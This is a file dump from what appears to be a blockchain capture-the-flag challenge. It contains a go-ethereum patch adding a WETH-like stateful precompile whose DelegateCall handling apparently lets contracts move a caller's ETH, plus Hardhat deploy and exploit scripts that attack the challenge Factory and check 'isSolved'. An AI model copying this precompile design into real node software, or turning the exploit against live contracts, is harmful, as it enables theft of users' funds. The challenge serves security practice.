newWrappedPrecompiledContract(&bls12381G1MultiExp{}), 126 | + common.BytesToAddress([]byte{13}): newWrappedPrecompiledContract(&bls12381G2Add{}), 127 | + common.BytesToAddress([]byte{14}): newWrappedPrecompiledContract(&bls12381G2Mul{}), 128 | + common.BytesToAddress([]byte{15}): newWrappedPrecompiledContract(&bls12381G2MultiExp{}), 129 | + common.BytesToAddress([]byte{16}): newWrappedPrecompiledContract(&bls12381Pairing{}), 130 | + common.BytesToAddress([]byte{17}): newWrappedPrecompiledContract(&bls12381MapG1{}), 131 | + common.BytesToAddress([]byte{18}): newWrappedPrecompiledContract(&bls12381MapG2{}), 132 | } 133 | 134 | var ( 135 | diff --git a/core/vm/contracts_weth.go b/core/vm/contracts_weth.go 136 | new file mode 100644 137 | index 000000000..7cc34942e 138 | --- /dev/null 139 | +++ b/core/vm/contracts_weth.go 140 | @@ -0,0 +1,283 @@ 141 | +package vm 142 | + 143 | +import ( 144 | + "fmt" 145 | + "math/big" 146 | + 147 | + "github.com/ethereum/go-ethereum/accounts/abi" 148 | + "github.com/ethereum/go-ethereum/accounts/abi/bind" 149 | + "github.com/ethereum/go-ethereum/common" 150 | + "github.com/ethereum/go-ethereum/common/hexutil" 151 | + "github.com/ethereum/go-ethereum/common/math" 152 | + "github.com/ethereum/go-ethereum/crypto" 153 | + "github.com/ethereum/go-ethereum/params" 154 | +) 155 | + 156 | +type RunStatefulPrecompileFunc func(evm *EVM, caller common.Address, input []byte, suppliedGas uint64, readOnly bool) (ret []byte, remainingGas uint64, err error) 157 | + 158 | +const selectorLen = 4 159 | + 160 | +var ( 161 | + functions = map[string]RunStatefulPrecompileFunc{ 162 | + calculateFunctionSelector("name()"): metadata("name"), 163 | + calculateFunctionSelector("symbol()"): metadata("symbol"), 164 | + calculateFunctionSelector("decimals()"): metadata("decimals"), 165 | + calculateFunctionSelector("balanceOf(address)"): balanceOf, 166 | + calculateFunctionSelector("transfer(address,uint256)"): transfer, 167 | + calculateFunctionSelector("transferAndCall(address,uint256,bytes)"): transferAndCall, 168 | + calculateFunctionSelector("allowance(address,address)"): allowance, 169 | + calculateFunctionSelector("approve(address,uint256)"): approve, 170 | + calculateFunctionSelector("transferFrom(address,address,uint256)"): transferFrom, 171 | + } 172 | + 173 | + tokenMetaData = &bind.MetaData{ 174 | + ABI: "[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"}],\"name\":\"allowance\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transfer\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"transferAndCall\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transferFrom\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}]", 175 | + } 176 | + tokenABI, _ = tokenMetaData.GetAbi() 177 | + 178 | + realWrappedEtherAddr = common.HexToAddress("0x0000000000000000000000000000000000004eA1") 179 | +) 180 | + 181 | +type AllowanceInput struct { 182 | + Owner common.Address 183 | + Spender common.Address 184 | +} 185 | + 186 | +type ApproveInput struct { 187 | + Spender common.Address 188 | + Amount *big.Int 189 | +} 190 | + 191 | +type TransferInput struct { 192 | + To common.Address 193 | + Amount *big.Int 194 | +} 195 | + 196 | +type TransferAndCallInput struct { 197 | + To common.Address 198 | + Amount *big.Int 199 | + Data []byte 200 | +} 201 | + 202 | +type TransferFromInput struct { 203 | + From common.Address 204 | + To common.Address 205 | + Amount *big.Int 206 | +} 207 | + 208 | +type realWrappedEther struct{} 209 | + 210 | +func (r *realWrappedEther) Run(evm *EVM, caller common.Address, input []byte, suppliedGas uint64, readOnly bool) (ret []byte, remainingGas uint64, err error) { 211 | + if len(input) < selectorLen { 212 | + return nil, suppliedGas, fmt.Errorf("missing function selector - input length (%d)", len(input)) 213 | + } 214 | + 215 | + selector := hexutil.Encode(input[:selectorLen]) 216 | + function, ok := functions[selector] 217 | + if !ok { 218 | + return nil, suppliedGas, fmt.Errorf("invalid function selector %s", selector) 219 | + } 220 | + 221 | + return function(evm, caller, input[selectorLen:], suppliedGas, readOnly) 222 | +} 223 | + 224 | +func metadata(function string) RunStatefulPrecompileFunc { 225 | + metadataValues := map[string]interface{}{ 226 | + "name": "Wrapped Ether", 227 | + "symbol": "WETH", 228 | + "decimals": big.NewInt(18), 229 | + } 230 | + return func(evm *EVM, caller common.Address, input []byte, suppliedGas uint64, readOnly bool) (ret []byte, remainingGas uint64, err error) { 231 | + value, ok := metadataValues[function] 232 | + if !ok { 233 | + return nil, suppliedGas, ErrExecutionReverted 234 | + } 235 | + if remainingGas, err = deductGas(suppliedGas, params.SloadGasEIP2200); err != nil { 236 | + return nil, 0, err 237 | + } 238 | + 239 | + switch value.(type) { 240 | + case string: 241 | + stringTy, _ := abi.NewType("string", "string", nil) 242 | + args := abi.Arguments{{Type: stringTy}} 243 | + ret, _ = args.Pack(value) 244 | + case *big.Int: 245 | + ret = math.U256Bytes(value.(*big.Int)) 246 | + } 247 | + 248 | + return ret, remainingGas, nil 249 | + } 250 | +} 251 | + 252 | +func balanceOf(evm *EVM, caller common.Address, input []byte, suppliedGas uint64, readOnly bool) (ret []byte, remainingGas uint64, err error) { 253 | + if len(input) > common.HashLength { 254 | + return nil, suppliedGas, fmt.Errorf("invalid input length %d", len(input)) 255 | + } 256 | + if remainingGas, err = deductGas(suppliedGas, params.SloadGasEIP2200); err != nil { 257 | + return nil, 0, err 258 | + } 259 | + 260 | + balance := evm.StateDB.GetBalance(common.BytesToAddress(input)) 261 | + return math.U256Bytes(balance), remainingGas, nil 262 | +} 263 | + 264 | +func transfer(evm *EVM, caller common.Address, input []byte, suppliedGas uint64, readOnly bool) (ret []byte, remainingGas uint64, err error) { 265 | + if readOnly { 266 | + return nil, suppliedGas, ErrWriteProtection 267 | + } 268 | + inputArgs := &TransferInput{} 269 | + if err = unpackInputIntoInterface(inputArgs, "transfer", input); err != nil { 270 | + return nil, suppliedGas, err 271 | + } 272 | + 273 | + return transferInternal(evm, suppliedGas, caller, inputArgs.To, inputArgs.Amount) 274 | +} 275 | + 276 | +func transferAndCall(evm *EVM, caller common.Address, input []byte, suppliedGas uint64, readOnly bool) (ret []byte, remainingGas uint64, err error) { 277 | + if readOnly { 278 | + return nil, suppliedGas, ErrWriteProtection 279 | + } 280 | + inputArgs := &TransferAndCallInput{} 281 | + if err = unpackInputIntoInterface(inputArgs, "transferAndCall", input); err != nil { 282 | + return nil, suppliedGas, err 283 | + } 284 | + 285 | + if ret, remainingGas, err = transferInternal(evm, suppliedGas, caller, inputArgs.To, inputArgs.Amount); err != nil { 286 | + return ret, remainingGas, err 287 | + } 288 | + 289 | + code := evm.StateDB.GetCode(inputArgs.To) 290 | + if len(code) == 0 { 291 | + return ret, remainingGas, nil 292 | + } 293 | + 294 | + snapshot := evm.StateDB.Snapshot() 295 | + evm.depth++ 296 | + defer func() { evm.depth-- }() 297 | + 298 | + if ret, remainingGas, err = evm.Call(AccountRef(caller), inputArgs.To, inputArgs.Data, remainingGas, common.Big0); err != nil { 299 | + evm.StateDB.RevertToSnapshot(snapshot) 300 | + if err != ErrExecutionReverted { 301 | + remainingGas = 0 302 | + } 303 | + } 304 | + 305 | + return ret, remainingGas, err 306 | +} 307 | + 308 | +func allowance(evm *EVM, caller common.Address, input []byte, suppliedGas uint64, readOnly bool) (ret []byte, remainingGas uint64, err error) { 309 | + inputArgs := &AllowanceInput{} 310 | + if err = unpackInputIntoInterface(inputArgs, "allowance", input); err != nil { 311 | + return nil, suppliedGas, err 312 | + } 313 | + 314 | + return allowanceInternal(evm, suppliedGas, inputArgs.Owner, inputArgs.Spender) 315 | +} 316 | + 317 | +func approve(evm *EVM, caller common.Address, input []byte, suppliedGas uint64, readOnly bool) (ret []byte, remainingGas uint64, err error) { 318 | + if evm.interpreter.readOnly { 319 | + return nil, suppliedGas, ErrWriteProtection 320 | + } 321 | + inputArgs := &ApproveInput{} 322 | + if err = unpackInputIntoInterface(inputArgs, "approve", input); err != nil { 323 | + return nil, suppliedGas, err 324 | + } 325 | + 326 | + return approveInternal(evm, suppliedGas, caller, inputArgs.Spender, inputArgs.Amount) 327 | +} 328 | + 329 | +func transferFrom(evm *EVM, caller common.Address, input []byte, suppliedGas uint64, readOnly bool) (ret []byte, remainingGas uint64, err error) { 330 | + if readOnly { 331 | + return nil, suppliedGas, ErrWriteProtection 332 | + } 333 | + inputArgs := &TransferFromInput{} 334 | + if err = unpackInputIntoInterface(inputArgs, "transferFrom", input); err != nil { 335 | + return nil, suppliedGas, err 336 | + } 337 | + 338 | + spender := caller 339 | + from := inputArgs.From 340 | + to := inputArgs.To 341 | + amount := inputArgs.Amount 342 | + 343 | + ret, remainingGas, err = allowanceInternal(evm, suppliedGas, from, spender) 344 | + if err != nil { 345 | + return nil, remainingGas, err 346 | + } 347 | + currentAllowance := new(big.Int).SetBytes(ret) 348 | + if currentAllowance.Cmp(amount) == -1 { 349 | + return nil, remainingGas, ErrInsufficientBalance 350 | + } 351 | + 352 | + if ret, remainingGas, err = approveInternal(evm, remainingGas, from, spender, new(big.Int).Sub(currentAllowance, amount)); err != nil { 353 | + return nil, remainingGas, err 354 | + } 355 | + 356 | + return transferInternal(evm, remainingGas, from, to, amount) 357 | +} 358 | + 359 | +func transferInternal(evm *EVM, suppliedGas uint64, from, to common.Address, value *big.Int) (ret []byte, remainingGas uint64, err error) { 360 | + if value.Sign() != 0 && !evm.Context.CanTransfer(evm.StateDB, from, value) { 361 | + return nil, suppliedGas, ErrInsufficientBalance 362 | + } 363 | + 364 | + if remainingGas, err = deductGas(suppliedGas, params.CallValueTransferGas); err != nil { 365 | + return nil, 0, err 366 | + } 367 | + 368 | + evm.Context.Transfer(evm.StateDB, from, to, value) 369 | + return math.PaddedBigBytes(common.Big1, common.HashLength), remainingGas, nil 370 | +} 371 | + 372 | +func allowanceInternal(evm *EVM, suppliedGas uint64, owner, spender common.Address) (ret []byte, remainingGas uint64, err error) { 373 | + if remainingGas, err = deductGas(suppliedGas, params.Keccak256Gas*2); err != nil { 374 | + return nil, 0, err 375 | + } 376 | + loc := calculateAllowancesStorageSlot(owner, spender) 377 | + if remainingGas, err = deductGas(remainingGas, params.SloadGasEIP2200); err != nil { 378 | + return nil, 0, err 379 | + } 380 | + val := evm.StateDB.GetState(realWrappedEtherAddr, loc) 381 | + return val.Bytes(), remainingGas, nil 382 | +} 383 | + 384 | +func approveInternal(evm *EVM, suppliedGas uint64, owner, spender common.Address, value *big.Int) (ret []byte, remainingGas uint64, err error) { 385 | + if remainingGas, err = deductGas(suppliedGas, params.Keccak256Gas*2); err != nil { 386 | + return nil, 0, err 387 | + } 388 | + loc := calculateAllowancesStorageSlot(owner, spender) 389 | + 390 | + if remainingGas, err = deductGas(suppliedGas, params.SstoreSetGas); err != nil { 391 | + return nil, 0, err 392 | + } 393 | + 394 | + evm.StateDB.SetState(realWrappedEtherAddr, loc, common.BigToHash(value)) 395 | + return math.PaddedBigBytes(common.Big1, common.HashLength), remainingGas, nil 396 | +} 397 | + 398 | +func calculateAllowancesStorageSlot(owner, spender common.Address) common.Hash { 399 | + ownerMappingSlot := crypto.Keccak256(common.LeftPadBytes(owner.Bytes(), common.HashLength), common.LeftPadBytes(big.NewInt(1).Bytes(), common.HashLength)) 400 | + spenderValueSlot := crypto.Keccak256(common.LeftPadBytes(spender.Bytes(), common.HashLength), common.LeftPadBytes(ownerMappingSlot, common.HashLength)) 401 | + return common.BytesToHash(spenderValueSlot) 402 | +} 403 | + 404 | +func calculateFunctionSelector(functionSignature string) string { 405 | + hash := crypto.Keccak256([]byte(functionSignature)) 406 | + return hexutil.Encode(hash[:4]) 407 | +} 408 | + 409 | +func deductGas(suppliedGas uint64, requiredGas uint64) (uint64, error) { 410 | + if suppliedGas < requiredGas { 411 | + return 0, ErrOutOfGas 412 | + } 413 | + return suppliedGas - requiredGas, nil 414 | +} 415 | + 416 | +func unpackInputIntoInterface(v interface{}, name string, data []byte) error { 417 | + args := tokenABI.Methods[name].Inputs 418 | + unpacked, err := args.Unpack(data) 419 | + if err != nil { 420 | + return err 421 | + } 422 | + return args.Copy(v, unpacked) 423 | +} 424 | diff --git a/core/vm/evm.go b/core/vm/evm.go 425 | index dd55618bf..86c2ad7de 100644 426 | --- a/core/vm/evm.go 427 | +++ b/core/vm/evm.go 428 | @@ -41,8 +41,8 @@ type ( 429 | GetHashFunc func(uint64) common.Hash 430 | ) 431 | 432 | -func (evm *EVM) precompile(addr common.Address) (PrecompiledContract, bool) { 433 | - var precompiles map[common.Address]PrecompiledContract 434 | +func (evm *EVM) precompile(addr common.Address) (StatefulPrecompiledContract, bool) { 435 | + var precompiles map[common.Address]StatefulPrecompiledContract 436 | switch { 437 | case evm.chainRules.IsBerlin: 438 | precompiles = PrecompiledContractsBerlin 439 | @@ -212,7 +212,7 @@ func (evm *EVM) Call(caller ContractRef, addr common.Address, input []byte, gas 440 | } 441 | 442 | if isPrecompile { 443 | - ret, gas, err = RunPrecompiledContract(p, input, gas) 444 | + ret, gas, err = p.Run(evm, caller.Address(), input, gas, evm.interpreter.readOnly) 445 | } else { 446 | // Initialise a new contract and set the code that is to be used by the EVM. 447 | // The contract is a scoped environment for this execution context only. 448 | @@ -275,7 +275,7 @@ func (evm *EVM) CallCode(caller ContractRef, addr common.Address, input []byte, 449 | 450 | // It is allowed to call precompiles, even via delegatecall 451 | if p, isPrecompile := evm.precompile(addr); isPrecompile { 452 | - ret, gas, err = RunPrecompiledContract(p, input, gas) 453 | + ret, gas, err = p.Run(evm, caller.Address(), input, gas, evm.interpreter.readOnly) 454 | } else { 455 | addrCopy := addr 456 | // Initialise a new contract and set the code that is to be used by the EVM. 457 | @@ -314,13 +314,13 @@ func (evm *EVM) DelegateCall(caller ContractRef, addr common.Address, input []by 458 | }(gas) 459 | } 460 | 461 | + // Initialise a new contract and make initialise the delegate values 462 | + contract := NewContract(caller, AccountRef(caller.Address()), nil, gas).AsDelegate() 463 | // It is allowed to call precompiles, even via delegatecall 464 | if p, isPrecompile := evm.precompile(addr); isPrecompile { 465 | - ret, gas, err = RunPrecompiledContract(p, input, gas) 466 | + ret, gas, err = p.Run(evm, contract.Caller(), input, gas, evm.interpreter.readOnly) 467 | } else { 468 | addrCopy := addr 469 | - // Initialise a new contract and make initialise the delegate values 470 | - contract := NewContract(caller, AccountRef(caller.Address()), nil, gas).AsDelegate() 471 | contract.SetCallCode(&addrCopy, evm.StateDB.GetCodeHash(addrCopy), evm.StateDB.GetCode(addrCopy)) 472 | ret, err = evm.interpreter.Run(contract, input, false) 473 | gas = contract.Gas 474 | @@ -365,7 +365,7 @@ func (evm *EVM) StaticCall(caller ContractRef, addr common.Address, input []byte 475 | } 476 | 477 | if p, isPrecompile := evm.precompile(addr); isPrecompile { 478 | - ret, gas, err = RunPrecompiledContract(p, input, gas) 479 | + ret, gas, err = p.Run(evm, caller.Address(), input, gas, evm.interpreter.readOnly) 480 | } else { 481 | // At this point, we use a copy of address. If we don't, the go compiler will 482 | // leak the 'contract' to the outer scope, and make allocation for 'contract' 483 | -------------------------------------------------------------------------------- /hardhat.config.js: -------------------------------------------------------------------------------- 1 | require("@nomicfoundation/hardhat-toolbox"); 2 | 3 | /** @type import('hardhat/config').HardhatUserConfig */ 4 | module.exports = { 5 | solidity: { 6 | version: "0.8.17", 7 | settings: { 8 | optimizer: { 9 | enabled: true, 10 | runs: 200 11 | } 12 | } 13 | }, 14 | networks: { 15 | local: { 16 | url: "http://127.0.0.1:8545", 17 | accounts: [privateKey] 18 | } 19 | } 20 | }; 21 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "scripts": { 3 | "prettier:check": "prettier --check 'contracts/**/*.sol'", 4 | "prettier:write": "prettier --write 'contracts/**/*.sol' && prettier --write 'scripts/**/*.js'" 5 | }, 6 | "devDependencies": { 7 | "@nomicfoundation/hardhat-toolbox": "^2.0.0", 8 | "hardhat": "^2.12.5", 9 | "prettier-plugin-solidity": "^1.0.0" 10 | }, 11 | "dependencies": { 12 | "@openzeppelin/contracts": "^4.8.0" 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /scripts/deploy.js: -------------------------------------------------------------------------------- 1 | const { ethers } = require("hardhat"); 2 | 3 | async function main() { 4 | const amount = ethers.utils.parseEther("1"); 5 | 6 | const Factory = await ethers.getContractFactory("Factory"); 7 | const factory = await Factory.deploy({ value: amount, gasLimit: 6000000 }); 8 | await factory.deployed(); 9 | 10 | console.log(`Factory deployed to ${factory.address}`); 11 | console.log(`isSolved: ${await factory.isSolved()}`); 12 | } 13 | 14 | main().catch((error) => { 15 | console.error(error); 16 | process.exitCode = 1; 17 | }); 18 | -------------------------------------------------------------------------------- /scripts/exploit.js: -------------------------------------------------------------------------------- 1 | const { ethers } = require("hardhat"); 2 | 3 | async function main() { 4 | const Factory = await ethers.getContractFactory("Factory"); 5 | const factory = await Factory.attach(process.env.FACTORY_ADDRESS); 6 | 7 | console.log(`isSolved: ${await factory.isSolved()}`); 8 | 9 | const Exploiter = await ethers.getContractFactory("Exploiter"); 10 | const exploiter = await Exploiter.deploy( 11 | await factory.WETH(), 12 | await factory.uniswapV2Pair() 13 | ); 14 | await exploiter.deployed(); 15 | 16 | console.log(`Exploiter deployed to ${exploiter.address}`); 17 | 18 | let tx = await exploiter.exploit({ value: 1 }); 19 | let receipt = await tx.wait(); 20 | 21 | console.log(receipt); 22 | console.log(`isSolved: ${await factory.isSolved()}`); 23 | } 24 | 25 | main().catch((error) => { 26 | console.error(error); 27 | process.exitCode = 1; 28 | }); 29 | --------------------------------------------------------------------------------